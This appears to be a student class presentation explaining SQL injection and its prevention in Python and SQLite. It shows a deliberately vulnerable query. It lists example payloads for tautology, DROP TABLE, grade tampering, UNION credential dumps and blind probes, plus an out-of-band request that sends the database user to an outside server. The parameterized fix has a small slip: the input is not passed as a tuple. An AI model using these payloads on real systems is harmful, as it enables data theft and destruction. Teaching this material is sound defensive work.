What is a SQL Injection (SQLi)?
SQL injection refers to an attack where an attacker can execute malicious SQL statements (known as payloads). This is typically done by exploiting poorly designed construction of SQL statements in backend code. Hackers can add, modify, and delete data stored in the DB, as well as gain access to sensitive data. Perhaps one of the most recently famous examples of an SQL injection were the vulnerable Equifax servers.
Review of How We Interact with SQL DBs in Class
We typically interact with our SQL Databases using Python, Flask, and SQLite3. Database files contain tables with names for each column
How do we Typically Interact with SQL DBs in Python?
First, we inport the sqlite3 library. We then create a connection to the database, and from the connection, we set a variable to be the cursor of the connection. After, we execute an SQL statement, commit changes, and close the connection. See the following example:
Import sqlite3
conn=sqlite3.connect('example.db')
c=conn.cursor()
c.execute("CREATE TABLE students (name text, grade real)")
conn.commit()
conn.close()
How Does an Enduser Give Input and Recieve Output?
The user of a web application like the ones we have done in class gives information in the form of an <input> HTML tag. As developers, we store the resulting POST or GET request data in a python variable. For this example, this variable will be userName. In the following codeexample, we print out relevant data to a single user name:
sqlStatement = "SELECT * FROM students WHERE name = " + userName
result = c.execute(sqlStatement)
for row in result:
print row
Security Flaw - SQL Injections
Look at the part where we compose the sql statement: sqlStatement = "SELECT * FROM students WHERE name = " + userName. If a malicious user chooses not to put their username, but rather some logic stuff, such as "105 OR 1=1" into the <input> HTML tag, the resulting string, sqlStatement is now equal to "SELECT * FROM students WHERE name = 105 OR 1=1" The executed code now looks like the following:
sqlStatement = "SELECT * FROM students WHERE name = 105 OR 1=1"
result = c.execute(sqlStatement)
for row in result:
print row
name=105 or 1=1 is a logical statement that is always true. This results in the entire table of students being printed out.
SQL Injections, but Even Worse
Recall that ";" can be used to denote the end of an SQL statement. If a semicolon is used in the <input> HTML element, then a hacker can put in any SQL statement they wish. Let's say that they put 105; DROP TABLE students. The sqlStatement string is now "SELECT * FROM students WHERE name = 105; DROP TABLE students". This hacker has now just caused the loss of an entire table.
Hackers can also modify data using UPDATE-SET-WHERE. Lets say they type in 105;UPDATE students SET testScore1 = 100 WHERE name="Bob Ross". Now our hacker, Bob Ross, has given himself a free 100 for the class.
There are Three Types Of SQL Injections
In-Band SQLi
When the attacker uses the same communication channel to both attack and receive results. Easiest and most common method.
Error-based SQLi:
Relies on error messages thrown to get info about the structure of the DB. Specifically relies on on a few bugs such as the GROUP BY statement in SQL.
http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--
In this example, the tester is concatenating the value 10 with the result of the function UTL_INADDR.GET_HOST_NAME. This Oracle function will try to return the host name of the parameter passed to it, which is other query, the name of the user. When the database looks for a host name with the user database name, it will fail and return an error message like:
Union-based SQLi:
Uses the UNION SQL operator to combine the results of multiple select statements that are returned as part of the http response
www.estore.com/items/items.asp?itemid=1 UNION SELECT username, password FROM users
Inferential SQL Injection (Blind SQLi)
When the attacker sends payloads and observes the web application’s response without actually transferring any data (no results will be physically shown.) More difficult but still just as dangerous.
Boolean-based (content-based) Blind SQLi:
Sends an SQL query that forces the application to return a different result depending on whether it returns a True or False
SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'
The previous example returns a result if and only if the first character of the field username is equal to the ASCII value 97. If we get a false value, then we increase the index of the ASCII table from 97 to 98 and we repeat the request. If instead we obtain a true value, we set to zero the index of the ASCII table and we analyze the next character, modifying the parameters of the SUBSTRING function.
Time-based Blind SQLi:
Sends an SQL query that forces the database to wait for a certain about of time before responding. This time will let the attacker figure out if the result is True or False.
http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--
In this example the tester is checking whether the MySql version is 5.x or not, making the server to delay the answer by 10 seconds. The tester can increase the delay time and monitor the responses. The tester also doesn’t need to wait for the response. Sometimes he can set a very high value (e.g. 100) and cancel the request after some seconds.
Out-of-band SQLi
Relies on debugging features being enabled on the db server being used by the web app. Not very common, other methods preferred. Can offer an alternative to Time-based Blind SQLi if the server is unstable. Uses these debugging methods to send DNS or HTTP requests to a SQL server the attacker controls.
http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELECT user FROM DUAL)--
In this example, the tester is concatenating the value 10 with the result of the function UTL_HTTP.request. This Oracle function will try to connect to ‘testerserver’ and make a HTTP GET request containing the return from the query “SELECT user FROM DUAL”. The tester can set up a webserver (e.g. Apache) to get the result.
Preventing SQL Injection
We want python and the SQL database to treat the end-user’s input literally.
Accomplished using “?” in python with sqlite3
c.execute('SELECT * FROM stocks WHERE symbol=?', input)
Instead of executing a string, a tuple is executed.
Other programming languages and SQL DB systems have other ways of executing a literal.
Sources for learning more:
Our demo:
http://bobby-tables.com - list on how to prevent SQL injection on a multitude of platforms.
http://sqlzoo.net/hack/ - basic hackit
https://redtiger.labs.overthewire.org - harder hackit
https://www.acunetix.com/websitesecurity/sql-injection/ - acunteix’s resources on SQLi
https://www.owasp.org/index.php/SQL_Injection - OWASP resources on SQLi
Google/Reddit in general have tons of more resources and practice sites.